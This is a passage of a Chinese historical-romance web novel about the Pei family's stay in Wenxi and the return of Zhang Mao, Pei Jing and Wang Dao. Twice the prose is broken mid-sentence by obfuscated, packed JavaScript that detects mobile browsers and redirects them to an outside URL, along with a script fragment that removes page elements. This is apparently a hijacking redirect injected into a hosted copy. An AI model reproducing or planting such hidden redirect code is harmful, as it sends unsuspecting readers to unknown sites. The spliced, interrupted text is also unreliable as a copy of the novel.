一顿晚饭吃得索然无味。小郭氏忧心女儿,只用了碗粥就匆匆去裴妍的房里看望,张茂都受风寒了,她得确认女儿无事才行。 裴憬压根不饿,见嫡母走了,自己胡乱塞了几口应付一下,也溜回房了。 23. 男儿宿昔秉良弓,提刀不辍待来日 裴妍确实累极了躺在床上,却因心里有事,怎么也睡不着。她睁开眼看着黑黢黢的香皮帐顶。 “所见皆锦绣。” 张茂白日里的话又窜了出来。她仔细回想了一下,似乎自己打出生至今,除了东郊那次祸事,确乎没体验过人间疾苦。以往她常常觉得自己不幸——阿耶早逝,阿兄愚顽,阿母又是庶出,和堂妹裴妡的身世比起来,简直一个天上一个地下。 可是,在见识过那些被劫匪虐杀的仆婢、流离失所的难民、被强卖为奴的胡女后,她突然觉得自己又很幸运。 张茂所言不虚,大多数的女子过得都是这般提心吊胆的日子。像自己这样衣食无忧坐享荣华富贵的“少数”,真可谓是得天独厚,幸运至极! 裴妍一会觉得自己不幸,一会又觉得自己幸极,不知该喜还是该悲。 心里有事,自然难以入眠。 夜里门窗紧闭,屋角的炭盆丝丝往外冒着热气,她觉得有些闷,就把手伸出来些,突然听见母亲的斥责: “别乱动,夜里凉!” 她这才知道,母亲竟一直坐在帐外陪着自己。 “阿母何时来的?”她竟丝毫没有察觉。小郭氏索性让定春重新燃起灯火,又回身从案上端来一碗温温的燕窝粥递给女儿:“就刚才,把你吵醒了?” 裴妍摇头,粥的口感刚刚好,温热适中,绵软香甜,一碗下肚,身上的疲乏都散了很多。 “你看你,出去玩一会就把自己弄恹了。早同你说过,天寒莫出门,待暖和些再出去吧!” 可是那会哥哥和张茂就回京了啊!裴妍没有理会母亲的建议。 初春的晴夜月光皎白,窗上投映来刚抽芽的桃枝,随风摇荡。 “阿母,你觉得,我们过得好不好?”她心内惶惑,斟酌再三,想听听母亲的意见。 “傻孩子,自是好的!”小郭氏揽过女儿,案上的烛火明灭不定,映照在小郭氏眼里,仿佛一道闸门,一些尘封的旧事,也缓缓释放出来。 “你知道的,柳媪是我生母的族妹,也是我生母那边唯一能找到的亲戚。我生母过世的时候,我还小,柳媪常和我说起她们小时候的日子,原来乡下饿死人是常有的事,为了点口粮卖儿鬻女更是寻常。她们就是这样被卖到郭家的。幸而我阿母长得漂亮,被你阿公看中收为妾室,并很快有了我,这才在偌大的郭家有了一处容身的小院,阿母和柳媪也才算过上了安稳的日子。所以啊,尽管你阿公让我嫁来裴家冲喜,尽管我嫁到裴家没几年就守寡,可我从来没怨过如今的日子,更没有怨过你阿公。毕竟,他给了我一处可以容身的地方,又给了我裴家妇的身份,让我这个出身低微的庶女,有了可以与人对坐谈笑的资格。” 裴妍头一次听母亲说起自己嫡亲的外家,毕竟,她母亲是庶出,名义上,她的外家当是荀氏。 “那外祖母家还有人吗?”裴妍的嫡外祖母是颍川荀氏,不过与她们母女并不亲厚。每次去郭家,荀夫人都只是留她们略谈两句,就找借口打发了。如今听母亲谈起自己的亲外祖母家,这份血缘相连的悸动使她对这位素昧平生的亲人产生了孺慕之思。 “没了。她本是庄户人家的女儿,遇了灾年,阖家逃荒出来的,最后走投无路,和柳媪一起,自卖为奴。她的那些家人,我出嫁后,你阿耶特意派人去祖籍和逃难之地寻过,可惜并无结果,许是没能熬过灾年。就连她唯一的亲人柳媪,我都未能护得住。” 想起柳媪以及在东郊惨死的那些人,裴妍心里也是一痛。 小郭氏若有所感,她握紧女儿的手:“这些故去的人,除了你给的银钱,我每年对他们的家人亦有补贴。”她顿了顿,眼里露出一丝无奈的悲伤,“虽不能让他们起死回生,但至少可以让他们的家人温饱不愁。” 裴妍点头。小郭氏这话既是说给女儿听的,也是说给自己听的。 寒夜里,母女二人相拥而眠。小郭氏精力不济,很快睡着了。裴妍拽起母亲冰凉的手,放进自己怀里捂着,很快也睡了过去。 另一厢,裴憬回房时,路过张茂房前,发现他的屋里烛火未灭。自打开的窗扉看去,只见他枯坐案前,正蹙眉沉思,笔尖凝墨良久,悬而未落。 “茂弟有心事?身上可好些了?”裴憬抱着手炉,头探进窗里,笑盈盈地问。 “喝了药,已然好很多。”外面天寒地冻,张茂打开门,放裴憬进来。 书案旁燃着炭盆,丝丝缕缕往外冒着热气。 裴憬抖抖身上的大氅,放下手炉,绕到书案前,探头瞧了瞧,见一个卷轴压在一张帛书上,仅露出一角,上书“父亲大人台起”字样,笑道:“原是躲在房里写家书。”想起张茂为了陪他,连元日都没能回家,有些愧疚:“世叔近来安好?安逊兄(张寔)怕又怪我绑着你了。” 张茂摇头,重新坐回书案前,不避裴憬,接着写信。 裴憬也没有回避的自觉,就在旁边看着他写,皱眉道:“凉州,真有你说的这么乱?” “一叶知秋。”张茂将信糊好,握着信思索片刻,旋而拉开烛灯的罩头,任火舌将信舔了,丢于洗墨缸中。 “这是作甚?”写了又烧,不寄了? “信里难免提到赵王,如今路上不太平,若不巧落入他人手里,岂非横生枝节?左右下旬便回京,到时再与阿耶面议吧!” 裴憬搔了搔脑门,直言:“凉州是你老家,赵王若管不好,不如给你和世叔管。” 这口吻,不像亭侯,倒像天子。 张茂笑了笑,没理会他的疯言疯语。 随着春日渐深,气候回暖,小郭氏的身子也一天好过一天。裴妍一面为母亲身体转好而开心,一面为即将与兄长分别而失意。 这半个月里,裴憬和张茂得了小郭氏的令,不敢带裴妍出去玩,只好陪她在庄子上消遣。 幸而庄子后面有一片菜地,裴妍突然对种菜起了兴致,成天拉着裴憬和张茂陪她在地里忙活。有时柳蕙来,还硬拉着柳蕙一起。 明明是消磨时间的差事,她却拔高到“为人者不可不知稼穑之艰”的地步。 然而几个人里,只有张茂有种地的经验。他自小在边境长大,边军除了打仗,另一项任务就是屯田,闲时为农,战时为兵,种菜,自不在话下。 至于其余的几个,什么时候跟土地打过交道?只好笨拙地跟着他学。 不过与裴憬、柳蕙的敷衍比起来,裴妍显然是真上了心的。往往裴憬和柳蕙象征性地到菜地浇点水,就找借口钻小树林幽会去了。而裴妍却一丝不苟地跟在张茂后面,锄草、犁地、浇水、沤肥…… 她既不嫌脏也不嫌臭,勤勤恳恳、有模有样地跟着做,倒把张茂惊到了。 他原以为裴妍只是闲来无事闹着玩的,谁想人家是真当一门本事在学呢? “阿茂哥,喝水!”中间歇息时,裴妍给张茂递来一壶泡好的蜜水。 张茂摘下头上的斗笠,坐到田垄边的一张胡床上,拭了把脑门上的汗,将壶里的水一饮而尽。 “怎么想起学这个?我记得你以前只是种种花。” 裴妍坐到另一张胡床上,她头上还戴着幂离,张茂看不清她的神情,就见她沉默了会,才缓缓道:“你不是说我这样的才是少数吗?我只是想体验一把大部分人都会做的事。” 张茂微怔,旋而无奈地摇头,他那天随口品评的一句话,这孩子,竟是记了这么久? “你是裴家女,出身即云端,自不会泯然众人。”张茂解释道,“我那天并非在说你不知人间疾苦,只是面对那些流离失所的胡女,有感而发罢了。” “我知道!”裴妍撩开幂离,露出一张未施粉黛却清丽绝伦的脸,笑道,“我本来就对种花感兴趣,种菜和种花又是相通的,我只是单纯地想多学门手艺罢了。” 张茂点头,视线不自觉落在裴妍薄汗浸湿的脸上,午间的日光落在女郎细腻的面皮上,柔嫩的皮肤,黛色的眉眼,水润的粉唇。春风荡漾起春色,空气里弥漫着少女的体香,张茂赶紧挪开了眼。 “你喜欢就好。”他听见自己如是说。 冬雪消融,柳条抽枝,飞燕徘徊,小郭氏熬过了寒冬,终于在春暖花开的时候,止住了撕心裂肺的百日咳。 裴憬和张茂亦踏上回京的路。 裴妍、柳蕙还有来凑热闹的裴娴,在郊外的十里亭为他们送行。 裴娴有些得意的抚了抚头上的钗鬟。今日这个送别名额来之不易,闻喜的士族听说钜鹿郡公府的郎君近日要回还,都争着要来送行,皆被张茂以裴憬的名义婉拒了——小郭氏大病初愈不能外出,裴憬不擅交际,与这些地方豪强只是点头之交,裴妍还小,钜鹿郡公长房实在没一个可以主事的人。他们来了反而让大家为难。况且,于裴憬而言,只要柳蕙来送他,便是最好。 至于裴娴,那也是沾了表姊柳蕙的光,毕竟,你让一个女郎专程来送郎君,面子上也说不过去啊!她是裴家的族妹,表姊陪她来串门,顺路送送亲戚,也算是一个体面的借口了。 路口有数十个部曲牵着骏马,百无聊赖地候在亭外。 裴憬与柳蕙执手相看泪眼,似有说不完的话。二人如今名分已定,临别自是依依不舍。 张茂本是远远看着,见一旁的裴妍伤感垂泪,忍不住递给她一方巾帕,“想来不久夫人和元娘也能回去了。” 裴妍心头一暖,也柔声回应他:“借阿茂哥吉言!你也千万珍重,勿要劳累!” 张茂浅笑:“敢不从命!” 躲在后面的裴娴眼珠子在二人身上转了一圈,一副探究的欲望。 张茂却没给她机会,启程的吉时不可耽误,他走到裴憬身边说了几句,裴憬无奈地和柳蕙分别,又转身冲自家妹妹招招手,算是告别,继而钻进了身后的劭车。 裴妍跟着往前小跑了几步,含泪冲他的劭车挥舞帕子。 裴娴冲着车屁股翻了个白眼,天下竟有这般见色忘妹的兄长? 风吹黄沙,扬起漫天烟尘,车队连主带仆浩浩荡荡百十人,终于在一片人马喧腾中疾驰而去,隐于山道的尽头。 裴娴不耐烦地拽着痴痴地望着官道的裴妍和柳蕙:“再看下去,就成望夫石了!趁男人走了,咱们吃酒去!” 裴妍和柳蕙都没有心情。 裴妍借口道:“我阿母不许我出去!” “那就去你家庄子,你娘只说不许你出去,可没说不许我们进来!”裴娴是伶俐人,没几句话就把两个女伴的失落症给治好了。 到底是少女,悲喜转换好比天书,不到一刻的功夫,三个女郎一扫方才的颓唐,重又叽叽喳喳起来,好不快活。 裴妍原以为自家至多一年半载就能回京。可闻喜的气候实在不算好,春季乍暖还寒,夏季酷暑难耐,秋季阴冷湿寒,冬季冰雪封路,小郭氏的身体许是水土不服,竟是一个季候一个病症,愣是没一个好时候。来闻喜的头两年,竟是卧床的时候多,康健的时候少。 幸有神医在身边调理,才终于在第三年堪堪恢复了点元气。 钜鹿郡公府长房母女离京一别就是三年,这却是诸人始料未及的。 因着小郭氏身体不好,裴妍常年在山上陪母亲养病,等闲不参与士族间的交游,闹得闻喜的士绅都暗传钜鹿郡公长房母女皆体弱,那些原先窥探裴妍想打探她做儿媳的人家,也渐渐歇了心思——裴家是高门不错,可儿媳是娶来生孩子的,娶个病秧子,万一过了病气怎么办?万一这病秧子还是个善妒的,自己不能生还不让丈夫纳妾,那岂不是连累家中儿孙? 是以原先行情高涨的钜鹿郡公长房渐渐门前冷落下来,而这正合了小郭氏的心意——谁耐烦跟这些乡下人打交道?她家阿妍迟早是要回京的! 因着常年住在山上,下山采买药材不便,皇甫严勘察地形后,在庄子北面开了一片药田。 裴妍侍疾闲暇时,常跟在神医后面学习侍弄、炮制药材。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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本来王导是钜鹿郡公二房的亲戚,与长房并无多少瓜葛,可谁让他现在是东海王府的幕僚呢! 东海王妃想要裴妍做儿媳的心思裴家人几乎都知道。说白了,王导是为了裴妍母女而来,却让族长一家好一番忙活。 这样说来,裴妍确实对裴娴多有愧疚。 裴娴只比裴妍大一岁,同族姊妹里,就她俩年龄最相近,加上她的表姊柳蕙是裴妍的准嫂子,是以三个女郎经常玩在一处。 “听说太夫人又来信催你们回京了?”柳蕙小声问。 裴妍脸色一暗,沉默点头。 年前,郭太夫人又来信催问长房的回京事宜。 裴妍十三了,不日便要议婚,长房一家是时候重回京城。 裴娴却舍不得裴妍走,用她的话说:“山中无老虎,猴子称霸王。别看我阿耶只有三品散职,可在这河东地界,就是府君来了也要低头唤他一声从父!你在京里,尚且有一堆命妇公主需得奉承,又有其他著姓与你分庭抗礼。可是在河东,哪个不以咱家为首?即便豪强如汾阴薛、解县柳,都得看咱们的脸色!春日宴你也参加过两次,可有哪个外姓女郎敢拂逆你?回洛阳,呵,哪有在老家爽快!” 裴妍不得不承认裴娴说的确是事实。相比头一年的想家,在闻喜混熟了后,裴妍渐渐品到了乡下的好处,这宁做鸡头不做凤尾的日子确实挺舒爽的! 然而想起京城还有大母、兄长、堂妹等亲人,她又止不住的想回去。 唉,真是左右两难! 这时,容秋小心翼翼地捧着一盆长势喜人的莲瓣兰进了屋。 裴妍不好与裴娴争辩,便借此转移话题。 她小心翼翼地将兰花接过来,惊喜道:“原还担心着,怕今年太冷它长不好,没想今日就开了!” 容秋笑道:“今朝晨起才开的,不枉女郎倾心栽培!” 一旁的裴娴亦看直了眼,莲瓣兰是兰花里的名种,一株需得万钱。且这种兰草娇弱,对土地、肥料、气候、水源都有严苛地要求,多少匠人都未必能伺候出来,没想到裴妍居然自己把它种出来了。 裴娴新奇地伸出指头,轻轻点了点粉嫩细长的花瓣。 裴妍立刻嫌弃地抱着花盆移开两步,免得她的兰草惨遭毒手。 裴娴不满,偏追着伸手去够:“至于么,再名贵不还是一盆草!” “这是我亲手栽的,跟别个不一样,有本事,你也养一株来?”裴妍边躲边怼。 裴娴悻悻地收回手去。她可没工夫养花,有这时间,还不如帮阿母多看两页账本。 她对郭夫人也是佩服,养了这么一个如花似玉的女儿,却宁愿看着她成天把自己关在花圃里种花种菜,也不让她去亲戚间走动交际。真是,把人都养傻了! 柳蕙边饮茶边笑着摇头,她是三个女郎里最大的,为人也最沉稳。茶香沁鼻,她看着杯中的人影,思绪却飘到了城外。 这次来接长房母女的,正是她的未来夫君裴憬,说来他们也有小两年未见了呢!不知他如今是何模样? 驿馆中,张茂将裴妍新送来的信收好。无他,裴妍问他们何时能到,又嘱咐他们早晚添衣。 今年是闰二月,河东的春日来得比洛阳晚些,熬过数九寒冬,还有料峭的倒春寒。 洛阳在花朝之后便已春深日暖,男男女女皆脱下厚重的裘袄,换上轻薄的春衫。然而在河东,人们未吃过端午粽,是不敢除冬装的。 这三年来,裴妍与裴憬、裴妡时常书信往来。 裴妡还好,裴憬却是最怵动笔的人,常是张茂于中间回复。 此番裴憬与张茂、王导来闻喜接小郭氏母女回京,裴妍依然絮絮叨叨写了很多叮嘱的信与他们。 门外传来听雨的拍门声:“郎君,该启程了。” 张茂闻言,将信小心翼翼地折好,放进袖囊里。这才拿起手边的佩剑,起身朝外走去。 24. 声色犬马世家子,意气风流少年时 闻喜是河东富镇,比之郡治蒲坂亦不相上下,虽不能和洛阳比,却自有它的一番热闹。 只是今日,闻喜城的热闹都汇集到了城门口。一早,通往东城门的主道上便挤满了围观的人群。有人甚至天还没亮,刚过了宵禁就搬来了胡床,只为能占一个绝佳的观赏地。 一队全副武装的部曲正守在街道两侧严阵以待。即便如此,也阻挡不了盛装的人们手持鲜花、果子,兴致高昂地堵在城门口。 这群人里有正值二八妙龄的女郎,脸上不知是不是抹了胭脂的缘故,个个泛着娇羞的红晕。亦有文士打扮的寒门书生,眼露焦灼,有的甚至拿着厚厚的文稿,许是想得王家麒麟子点评一二,甚至想自荐门下也未可知。 裴娴兴致勃勃地看着楼下攒动的人头,一阵料峭寒风刮过,她把拢在春衫外的大氅紧了紧,又让婢子把竹帘放下些,盯着帘子上被春风刮得东摇西晃的玉琮抱怨道:“从驿馆到此不过一个时辰脚程,你阿兄若是骑马来,半个时辰就该到了!几个大男人,竟比小娘子还磨蹭。” 柳蕙瞥了她一眼,没有说话,眼睛一眨不眨地盯着城门口,显然在等她的未婚夫。 裴娴无奈地摇头。 裴妍正就着滚热的浮梁茶吃枣泥果子——这浮云酒楼虽是吃饭的地,但茶水、糕点在郡里也是一等一的好!闻言,驳道:“我阿兄一向利索,只怕是那王赤龙磨叽。” 正说着,楼下突然欢声雷动。 裴娴赶紧撩帘朝下看去,只见一队部曲开道后,县城门口缓缓驰来了一辆贴金镶玉的七宝香车。 裴娴捂嘴,惊诧道:“大男人坐女子的车,丢不丢人?” 香车前后簇拥着不少高头大马的仆从护卫。其中,领头的那个部曲身材高大英武,长相却清隽儒雅,就连裴娴都忍不住多看了几眼。 裴妍拿团扇捂嘴,这不是阿茂哥么?经年不见,越长越俊了! 围观的人群也躁动起来,部曲尚且有如此气度,可想而知,这车里的主人该当是怎样的神仙人物? 然而,这位正主似乎不愿出来。围观的人们不满起来。 大家都听说名满天下的琅琊王氏的麒麟子从京城远道而来,天没亮就聚在城门口,伸长脖子等了一早上,怎么正主脸都不露呢? 一个头梳堕马髻、身着桃粉绡衫的女郎越众而出,对左右围观者做了一个手势,大家立刻默契地止了声,就听她在车外清唱起了一首《越人歌》: “今夕何夕兮搴舟中流。 今日何日兮得与王子同舟。 蒙羞被好兮不訾诟耻。 心几烦而不绝兮得知王子。 山有木兮木有枝,心悦君兮君不知。” 歌声澄澈好比湖中荷叶上新滴下的露珠。人群中本有不忿她出头的女郎,如今也不得不甘拜下风。 “歌姬瑛娘代郡中父老请见郎君。”女子盈盈下拜道。 周围突然安静下来,本来叫好的、鼓掌的、吹口哨的,都止住了呼吸,眼巴巴地盯着香车上那扇紧闭的槅门。 突然,“叮叮”两声,车里传来两下击玉声。守在车外的御者听了指令,赶紧回身将车子的槅门拉开来。 人群再次骚动起来。无论男女都伸长了脖子,不自觉地握紧手里的瓜果鲜花,准备第一时间往这位名满天下的大才子砸去…… “哈哈哈哈,笑不活了,那个王赤龙,”裴娴两手往外一划,做了一个孕妇样子,“壮如大豕!” 坐在下首的一众女郎都拿便面遮脸,跟着笑将起来,只是不少女郎眼里,分明流露着失望之色——本来嘛,琅琊王氏的麒麟子,谁不想高攀?不少女郎都想着后日花朝来场偶遇的说。做不了正妻,当个贵妾也是好的! 唉,真是金无足赤人无完人,出身那么好的郎君,学问那么高的才子,居然是个大胖子! 裴娴想起什么,转头神秘兮兮地问裴妍:“方才我观马车旁边有一个当头的部曲仪表堂堂,很是俊俏,你可认得?” 裴妍愣了一下,脸上有些微红,直把在座的女郎看直了眼——裴妍这几年出落得愈发娇艳,举手投足间,尽显风情。还好裴妍素来只在女眷中交游,等闲接触不到外面的郎君,不然河东的女郎们都要嫁不出去了! 裴妍却歪着头,回忆着城门口见到张茂的那幕。 张茂这三年变了不少,高了,壮了,也更英俊了。然而裴妍还是一眼就认出了他。 她放下手里的茶盏,对裴娴道:“阿姊说的大约是张家茂郞,我阿兄的陪读。” “倒是好相貌。”裴娴赞道。 “阿姊!”裴妍不喜欢裴娴对张茂品头论足的态度。她知道裴娴素日里喜欢美男子,与家里几个部曲也有些不清不楚的暧昧,怕她对张茂起了不该起的心思,警告她道:“茂郞出身士族,父兄皆在朝,不同于寻常清客。” 裴娴拿便面遮嘴,略尴尬道:“不过就是夸他长得好,你紧张什么!” 裴妍朝她翻白眼:“我是怕薛家表兄听了去,又要心生不悦。” 裴娴是家中幼女。柳夫人舍不得她外嫁,一早就将她许给了自己的姨侄薛翊。 裴娴却满不在乎地嗤笑道:“他不悦他的,当我不知道,他房里那两个婢子是干什么的!” 裴娴是下嫁,确实有张扬的资本。莫说只是夸夸别的男人,就是与薛翊不合,学那司马家的公主辟府令居,再养一堆面首,只要河东裴氏不计较,薛家也不敢怎样。 当然,裴家自诩清流,对家中子女管教森严,不似皇族司马家、外戚贾家那样放纵胡来。对张茂也好,家中长相英俊的部曲清客也罢,裴娴也只敢嘴上撩拨两句罢了。 另一厢,客室里,王导摈退了前来伺候的仆从,换上自家带来的美貌婢子。这些奴婢都是伺候他惯了的,深知他的喜怒——地垫铺了锦缎,床头悬上明珠,茶盏换了琉璃,案上放着他常用的笔墨书卷,更有一美貌婢子,静坐一侧,素手焚香煮茶。 王导先进内室更衣,完事后舒服地走出来,满意地伸了伸腰,拉过一旁美貌的婢女,枕在佳人大腿上闭目养神。 直到听到脚步声,他知是裴憬和张茂更衣完毕,前来寻他了。却依然懒洋洋的不起身,只微微侧过身子,以手支头,对来人道:“我就说,该当让茂弟代我出面。否则,何至于那瑛娘掩面而走?这事传扬出去,我还要面子不要!” 说罢,夺过婢女手里的麈尾自己奋力摇了起来。 室内熏了炭笼,比起外面暖和不少,对于身宽体胖的王赤龙来说,未免太热了些。 王导此举显然是放浪无礼的。然而这一个月来,三个同龄人一路相伴而行,彼此熟稔,另外二人对于王导私下里的不羁已经见惯不怪了。 张茂面无表情,端坐下首:“郎君天人,茂怎敢欺名。” 王导摇头,拿麈尾对着他上下点了点,叹道:“谁不想像你这样?可怜我明明已经吃得很少了,依然喝水都胖。” 裴憬鄙夷地看着他,合着每晚睡前抱着一只羊腿猛啃的是旁人? 裴憬自三年前至今身量变化不大,与一年蹿一茬的张茂比,竟矮了一头。他不似张茂勤于骑射,因此身体看上去有些虚胖。不过与王导比起来,裴憬自信地挺了挺胸膛,至少他没有孕妇那样的大肚子! 这时,外面有仆妇来请。三人立时收了玩笑,王导起身举臂任婢子理了理衣衫,便随裴憬、张茂去内室拜见主家郭夫人。 小郭氏早已等在内室多时。裴妍也在,只是她现在十三了,不能像儿时那样大大方方地见外男,是以面前挂了一副由东海水玉编成的七色珠帘。 帘后的裴妍屏气凝神起来。三年来,她还是很想念哥哥和张茂的。 随着外室的层层纱帘被依次撩起,裴憬与王导并行至小郭氏跟前,张茂略后错一步。 小郭氏是长房的主母,裴憬和张茂郑重地跪下向她三叩首祝寿。 王导是裴家姻亲,辈分也高,只弯腰行拱手礼。 郭夫人赶紧上前,将王导虚抬,引王郎上座。 裴憬与张茂也随之起身。裴憬坐于郭夫人身侧矮榻上,张茂陪侍在侧。 小郭氏一边与他们寒暄,一边暗自打量着这三个年龄相仿却气度截然不同的郎君。 长子裴憬是三个儿郎里面最年长的,今年冬天将行冠礼。相比三年前,他的身量没有长高,甚至比以前胖了一点。五官上女气稍褪,英气略增。许是这些年张茂督促进学的缘故,他眼里的憨傻稚气少了许多,言谈间虽反应仍有点慢,但大体与常人无异。 年前,裴憬的数算天赋到底还是被裴頠察觉,裴頠很是欣慰,干脆给他在太常丞手下谋了个闲散郎官,平日没事在家绘图测算,也算续祖辈之功业(裴憬祖父裴秀擅绘舆图)。 郭夫人这才放了心,看不出傻就好。这次裴憬回乡,既是迎嫡母回京,亦是为送聘礼而来。前年,小郭氏相看了族长夫人柳氏的侄女,很是满意。她写信请示过太夫人,太夫人和裴頠也都赞同。毕竟裴憬这种情况,京城人尽皆知,想在同等的世家圈里找,很难挑到合适的,但是在闻喜,谁不想与钜鹿郡公府攀亲?莫说裴憬只是读书有点傻,哪怕他是个残废,也阻挡不了这些次等世家勇攀高门的决心。 王导是三个郎君里最“圆润”的。小郭氏一开始对王导的形象有些失望,虽说亲戚间都知道“王郎体胖”——王家多胖子。但小小年纪就肚子这么大的,却是少数。时人以清矍为美,这样面白体胖的王导,若非蓄了一小撮美须,真有点像宫里出来的黄门。难怪今晨,就连以色侍人的艺伎,在看清这位郎君的真容后,都失望得掩面而走。 但男子相貌只在其次,更重要的还是自身的家世、内里的德行与自身的才学。 王导与小郭氏寒暄期间,目光平和中正,回话不卑不亢,声音有若金玉落盘,条理分明,待人接物行止有度,提及东海风物亦生动有趣,显是位老成持重又睿智旷达之人。 除开长相,王家麒麟子,名不虚传! 三个小子里,张茂长得最为俊逸出尘,许是出身西凉的缘故,他年龄越大越显得五官深邃。与三年前比,他的身量拔高许多,虽话不多,但行走坐卧间尽显松竹之资,内秀中透着稳健。 因是陪侍末座,除非郭夫人主动问起,张茂一直沉默的多。只是,自他一进内室起,就察觉到郭夫人身后的那道帘子里,有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001218|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道目光隐隐追随着自己。 裴妍一直在帘后默默地观察着张茂。无他,谁让他越长越耀眼! 时人爱美,不仅爱美女,也爱美男。 裴妍是河东公认的第一美女,但不妨碍她欣赏与自己有着同样美貌的男人。 张茂察觉到裴妍的目光后,却略带警告地朝她的所在投去严厉地一瞥,吓得裴妍一个哆嗦。旋即又疑惑又生气,自己哪里惹着他啦,明明大家以前那么要好的说,三年不见,她连躲在帘子后头看看都不行了? 张茂察觉到裴妍不仅没有收敛,反而更加肆无忌惮地看向自己。他无奈地抬眼回望,只见春日的光晕透过绢窗照进对面的珠帘里,落在帘后的裴妍的眼睑上,好似飞舞的流萤,撩拨着女郎浓长的眼睫。 张茂呼吸一窒,挠是他颇有定力,亦忍不住向帘后多看几眼——无他,裴妍实在太美了。 张茂没有想到,仅仅是三年未见,裴妍就在这远离京畿的乡野之地,依照王衍的预言,默默地长成了倾国倾城的绝代佳人! 裴妍的美不同于常人。洛阳城里从不缺美人,这些年,韩芷、裴妡皆令名在外。然而,即便将她二人都拉到裴妍面前来,也无法与她比肩。 韩芷的美在皮相,除去青春的馈赠和华服的装点,只留得一抹短暂的芳华;裴妡的美在才情,除去琴棋书画、诗词歌赋的修饰,不过一寡淡少女,清丽有余,风情不足。 唯有裴妍,哪怕她布衣荆钗,哪怕她垂垂老矣,亦压不住这通身的艳骨。更要命的是,她美而不自知,一颦一笑均不知收敛,趁着王导与小郭氏回话之际,裴妍撩帘朝外间的裴憬及张茂俏皮的眨眼一笑,饶是张茂定力过人,亦觉得自己心跳跟着慢了一拍。就连身为兄长的裴憬都忍不住呼吸一窒。 恰此时,正在回话的王导,手心一抖,正准备呈上的礼单落在了地上,这是裴妃此次托他送给小郭氏的土仪。 好巧不巧,那绢帛滑到了裴妍脚边。 张茂冷眼瞥了眼王导,这厮明面上跟小郭氏回话,其实眼角也瞄着裴妍呢! 裴妍没等侍婢上前,撩帘探出半个身子,弯腰将脚边的礼单捡起归拢好,交给身侧的母亲,盈盈道了声:“阿母,阿毗哥又寄了不少水玉来呢!” 小女郎的声音清脆若莺啼,王导只觉心都要柔化了!他赶紧克制自己不再看她。真是女大十八变,前几年见这丫头,也只是觉得清丽而已,没这么惊为天人啊! 王导一边与郭夫人交际,一边默诵着《清心咒》。他是聪明人,虽自诩风流,但从不染指麻烦,裴妍美绝人寰,可惜名花有主。他视东海王为主公,自然知道裴妃的心思。他对裴妍除开最初的惊艳,只是单纯的欣赏而已。 三人都是远道而来,舟车劳顿,却不得休息,因一会还要去拜会裴家族老,小郭氏不敢多留他们,与他们叙了几句闲话,就让他们退下了。 等到内室里无外男了,小郭氏便命人把珠帘撤了。 裴妍终于可以起身活动筋骨。 小郭氏却怪她:“你兄长和阿茂也就罢了,怎可在王家郎君面前无状?” 裴妍不以为意:“他自己偷看我,拿不稳东西,还怪到我头上来?” 小郭氏有些发愁的看着日渐长成的女儿。她与裴妃早先有三年之约,这事太夫人也是应允的,就等东海王年中携世子朝见时议婚了。 然而这三年来,阿妍好似含苞初放的花骨朵,一下子长开了。 河东地界上,薛家、柳家的世家子都在暗传她的美名。 小郭氏这些年严防死守,生怕女儿被那些虎视眈眈的乡下郎君勾了去。 好在裴妍孝顺,这几年大多时候都侍奉她于内室,即便偶尔出去也多是和姊妹一处,不往外男那里去。 倒也不是没有浪荡子上赶着勾人,幸好有张茂赠与的婢子容秋,这丫头与她的阿姊定春一样,耳聪目明,且腿脚功夫厉害,那些窥探的、撩拨的混球,皆被她及时揪了出来,人还未到裴妍面前,就被她打发走了。 想到此处,小郭氏对张茂又多了几分感激,想当初收他进府真是明智的决定! …… 春日饮宴众多,身为族长的裴卲刚刚宴请完洛阳来的几个郎君,回到后宅时酒气正浓,本欲搂着身边侍婢回房消散一二,就见老妻柳氏挎着食盒堵在正院门口,看样子有话要讲。 裴卲当即端肃了脸,朝左右挥挥手,屏退了诸婢。 柳氏从食盒里端出一碗温热的醒酒汤,举案齐眉地递给他。 裴卲一饮而尽,疑惑地问:“这么晚了,夫人还未歇息?” 柳氏绕到裴卲身后,殷勤地替他揉捏后颈,三分醋味七分娇:“妾身果然老了,这么不得郎主待见?” 裴卲只觉脖子一凉——他和柳氏老夫老妻这么多年,妻子一向脾气火爆,今日却这般小意温存,不用问,定然有事相求。 果然,就听柳氏道:“今天我阿姊与我说起,匈奴人占了上党?” 裴卲皱眉道:“姊夫莫不是想让五郎参军?你劝他莫打这个心思,最近匈奴颇不安分,那匈奴起事的,名曰郝散,是个能人。他背后恐还有五胡策应,不是顺风仗可以儿戏。” 25. 色相空空入梦来,奈何眼耳鼻舌身 薛五郎即薛翊,就是与裴娴订亲的那位。 汾阴薛氏武功起家,不过自前朝至今,多困于乡党,军中职衔并不高,对族中子弟荫蔽有限。 这次郝散反叛,柳氏寻思着,若五郎能跟着捞点功绩,不是两得? 柳氏一推裴卲道:“家门口的仗你都畏首畏尾?没出息!五郎什么样你又不是不清楚,重武轻文,除了兵书,经义一向不通,比那京里来的裴憬好不了多少。难道你还指着女婿举秀才不成!再有,你没交情不会请托裴侍中?我听说此番领兵的冯翊都尉与裴侍中有师生之谊,还有那个张家小郞的阿耶,是这次平叛的副将呢!” 裴卲撵着羊角须不说话。 柳氏急了,怨道:“每次让你请托裴侍中办点事,你总是支支吾吾的。这些年咱们对他们那一房没少照拂,不然他家庶支出身,能把宅子盖在咱家旁边?我们才是嫡支大宗!” “慎言!”裴卲头疼地捏眉心,柳氏就是这点不好,急起来说话没把门。 